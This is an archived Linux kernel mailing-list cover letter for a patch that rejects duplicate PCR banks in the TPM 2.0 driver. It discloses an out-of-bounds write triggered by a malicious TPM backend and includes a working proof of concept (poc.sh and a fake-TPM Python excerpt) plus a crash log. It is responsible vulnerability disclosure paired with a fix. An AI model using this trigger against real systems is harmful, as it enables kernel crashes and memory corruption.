From: Yuqi Xu <xuyuqiabc@gmail.com>
To: linux-integrity@vger.kernel.org
Cc: Peter Huewe <peterhuewe@gmx.de>,
Jarkko Sakkinen <jarkko@kernel.org>,
Jason Gunthorpe <jgg@ziepe.ca>,
Jerry Snitselaar <jsnitsel@redhat.com>,
James Bottomley <James.Bottomley@HansenPartnership.com>,
stable@vger.kernel.org, Vega <vega@nebusec.ai>,
Ren Wei <weir@nebusec.ai>,
xuyq21@lenovo.com
Subject: [PATCH v2 0/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation
Date: Mon, 28 Sep 2026 16:26:59 +0800 [thread overview]
Message-ID: <cover.1790568982.git.xuyuqiabc@gmail.com> (raw)
Hi Linux kernel maintainers,
We found and validated an issue in drivers/char/tpm/tpm2-cmd.c.
The bug is triggered by an attacker-controlled TPM 2.0 backend that
returns duplicate PCR bank selections in its TPM2_CAP_PCRS response
during device probe.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
Changes in v2:
- Return -EIO on a duplicate PCR bank instead of silently ignoring
it, as requested by Jarkko Sakkinen.
- v1 Link: https://lore.kernel.org/all/cover.1789800840.git.xuyuqiabc@gmail.com/
---- details below ----
Bug details:
`struct tpm_chip` reserves `chip->groups` as an array with only
`3 + TPM_MAX_HASHES` slots (8, with TPM_MAX_HASHES = 5).
`tpm2_get_pcr_allocation()` parses the TPM2_CAP_PCRS response and adds
every selection with a non-zero `pcr_select` to `chip->allocated_banks[]`.
It rejects more than `TPM2_MAX_PCR_BANKS` (8) selections but never checks
that the hash algorithm is unique. `tpm_sysfs_add_device()` then stores
the device group plus one PCR group per allocated bank with
`chip->groups[chip->groups_cnt++]`, so eight duplicate SHA1 banks make it
write index 8 of an 8-element array, before the trailing
`WARN_ON(chip->groups_cnt > TPM_MAX_HASHES + 1)`.
The TPM response is external input: a malicious or buggy TPM 2.0 backend
can report the same bank eight times and drive the out-of-bounds write
during `tpm_chip_register()` -> `tpm_sysfs_add_device()`.
Return -EIO when a hash algorithm is reported twice. The TPM
protocol does not allow that duplicate, so the chip is not enabled
instead of silently dropping the extra selection.
Reproducer:
cd /root
./poc.sh
poc.sh starts malicious_tpm.py, a small swtpm-control-protocol backend
that answers TPM2_CAP_PCRS with eight duplicate SHA1 selections, and boots
a kernel with `-device tpm-tis` pointing at it. The script defaults
KERNEL_SRC to linux-lts-v6.12.74 and treats tpm-sysfs.c:513 as success.
That default tree is not the build in the crash log below.
The captured run is 7.3.0-rc3-00322-gab411db3c3b1 on a 2 vCPU, 2 GB RAM
x86 QEMU/KVM guest, with CONFIG_TCG_TPM, CONFIG_TCG_TIS and
CONFIG_UBSAN_BOUNDS enabled and panic_on_warn=1 on the command line.
UBSAN in that log reports tpm-sysfs.c:517. CONFIG_TCG_TPM2_HMAC is
disabled so the probe reaches TPM2_CAP_PCRS without the fake backend
having to answer CREATE_PRIMARY.
------BEGIN poc.sh------
#!/usr/bin/env bash
set -euo pipefail
DIR="$(cd -- "$(dirname -- "$0")" && pwd)"
KERNEL_SRC="${1:-/home/data/data/repos/linux-repos/linux-lts-v6.12.74}"
CTRL_SOCK="$(mktemp -u /tmp/malicious-tpm-XXXXXX.sock)"
BACKEND_LOG="${DIR}/backend.log"
RAW_QEMU_LOG="${DIR}/qemu-raw.log"
QEMU_LOG="${DIR}/qemu.log"
cleanup() {
if [[ -n "${BACKEND_PID:-}" ]] && kill -0 "${BACKEND_PID}" 2>/dev/null; then
kill -TERM "${BACKEND_PID}" 2>/dev/null || true
wait "${BACKEND_PID}" 2>/dev/null || true
fi
rm -f "${CTRL_SOCK}"
}
trap cleanup EXIT
: > "${BACKEND_LOG}"
python3 "${DIR}/malicious_tpm.py" --ctrl "${CTRL_SOCK}" --log "${BACKEND_LOG}" &
BACKEND_PID=$!
echo "backend log: ${BACKEND_LOG}"
echo "raw qemu log: ${RAW_QEMU_LOG}"
echo "sanitized qemu log: ${QEMU_LOG}"
echo "The VM should exit on its own after the panic. If it does not, kill the printed pid."
script -q -f "${RAW_QEMU_LOG}" -c "${DIR}/qemu-start-kernel-tpm.sh ${KERNEL_SRC} ${CTRL_SOCK}"
perl -pe 's/\e\[[0-9;?]*[ -\/]*[@-~]//g; s/\ec//g; s/\r//g' "${RAW_QEMU_LOG}" > "${QEMU_LOG}"
if grep -q 'UBSAN: array-index-out-of-bounds in ../drivers/char/tpm/tpm-sysfs.c:513:16' "${QEMU_LOG}" &&
grep -q 'Kernel panic - not syncing: UBSAN: panic_on_warn set' "${QEMU_LOG}"; then
echo "Trigger confirmed. See ${QEMU_LOG}"
else
echo "Trigger not observed. See ${QEMU_LOG} and ${BACKEND_LOG}" >&2
exit 1
fi
------END poc.sh--------
------BEGIN malicious_tpm.py excerpt------
ALG_SHA1 = 0x0004
def build_get_cap_pcrs():
entries = []
for _ in range(8):
entries.append(be16(ALG_SHA1) + b"\x03" + b"\x01\x00\x00")
payload = b"\x00" + be32(TPM2_CAP_PCRS) + be32(8) + b"".join(entries)
return build_header(TPM2_RC_SUCCESS, payload)
if cap == TPM2_CAP_PCRS:
return build_get_cap_pcrs()
------END malicious_tpm.py excerpt------
Captured 7.3.0-rc3 log (7.3.0-rc3-00322-gab411db3c3b1). This is not
the script's default linux-lts-v6.12.74 tree.
----BEGIN crash log----
[ 0.487531] ------------[ cut here ]------------
[ 0.487533] UBSAN: array-index-out-of-bounds in /home/lucas/work/net-tpm-675/drivers/char/tpm/tpm-sysfs.c:517:16
[ 0.487535] index 8 is out of range for type 'attribute_group *[8]'
[ 0.487538] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 7.3.0-rc3-00322-gab411db3c3b1 #2 PREEMPT(lazy)
[ 0.487541] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-10.fc44 06/10/2025
[ 0.487542] Call Trace:
[ 0.487553] <TASK>
[ 0.487555] dump_stack_lvl+0x4d/0x70
[ 0.487561] ubsan_epilogue+0x5/0x2b
[ 0.487564] __ubsan_handle_out_of_bounds.cold+0x4e/0x58
[ 0.487567] tpm_sysfs_add_device+0x29f/0x380
[ 0.487573] tpm_chip_register+0x3d/0x1e0
[ 0.487576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487579] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487580] tpm_tis_core_init.cold+0x1bc/0x3a1
[ 0.487584] tpm_tis_plat_probe+0x101/0x130
[ 0.487588] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487590] platform_probe+0x74/0xc0
[ 0.487594] ? driver_sysfs_add+0x50/0x80
[ 0.487596] really_probe+0xdd/0x290
[ 0.487597] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487599] __driver_probe_device+0x99/0x180
[ 0.487601] ? __pfx___driver_attach+0x10/0x10
[ 0.487602] driver_probe_device+0x1a/0xa0
[ 0.487604] ? __pfx___driver_attach+0x10/0x10
[ 0.487605] __driver_attach+0xab/0x180
[ 0.487607] ? srso_alias_return_thunk+0x5/0xfbef5
[ 0.487608] bus_for_each_dev+0x92/0xf0
[ 0.487611] bus_add_driver+0x104/0x220
[ 0.487613] ? __pfx_init_tis+0x10/0x10
[ 0.487617] driver_register+0x70/0xe0
[ 0.487619] init_tis+0x9b/0xf0
[ 0.487623] do_one_initcall+0x84/0x260
[ 0.487626] kernel_init_freeable+0x249/0x2c0
[ 0.487630] ? __pfx_kernel_init+0x10/0x10
[ 0.487633] kernel_init+0x1b/0x140
[ 0.487635] ? __pfx_kernel_init+0x10/0x10
[ 0.487637] ret_from_fork+0x196/0x260
[ 0.487640] ? __pfx_kernel_init+0x10/0x10
[ 0.487641] ? __pfx_kernel_init+0x10/0x10
[ 0.487643] ret_from_fork_asm+0x1a/0x30
[ 0.487646] </TASK>
[ 0.487647] ---[ end trace ]---
[ 0.487648] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
-----END crash log-----
Best regards,
Yuqi Xu
Yuqi Xu (1):
tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation
drivers/char/tpm/tpm2-cmd.c | 18 ++++++++++++++++++
1 file changed, 18 insertions(+)
base-commit: ab411db3c3b1fd0c70a36fb32c96b2c60175210b
--
2.55.0
next reply other threads:[~2026-09-28 8:27 UTC|newest]
Thread overview: 7+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-28 8:26 Yuqi Xu [this message]
2026-09-28 8:27 ` [PATCH v2 1/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation Yuqi Xu
2026-09-29 21:25 ` Jarkko Sakkinen
2026-09-29 22:34 ` Jarkko Sakkinen
2026-09-30 3:33 ` Yuqi Xu
2026-09-30 6:30 ` Yuan Tan
2026-10-02 3:14 ` Jarkko Sakkinen
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1790568982.git.xuyuqiabc@gmail.com \
--to=xuyuqiabc@gmail.com \
--cc=James.Bottomley@HansenPartnership.com \
--cc=jarkko@kernel.org \
--cc=jgg@ziepe.ca \
--cc=jsnitsel@redhat.com \
--cc=linux-integrity@vger.kernel.org \
--cc=peterhuewe@gmx.de \
--cc=stable@vger.kernel.org \
--cc=vega@nebusec.ai \
--cc=weir@nebusec.ai \
--cc=xuyq21@lenovo.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.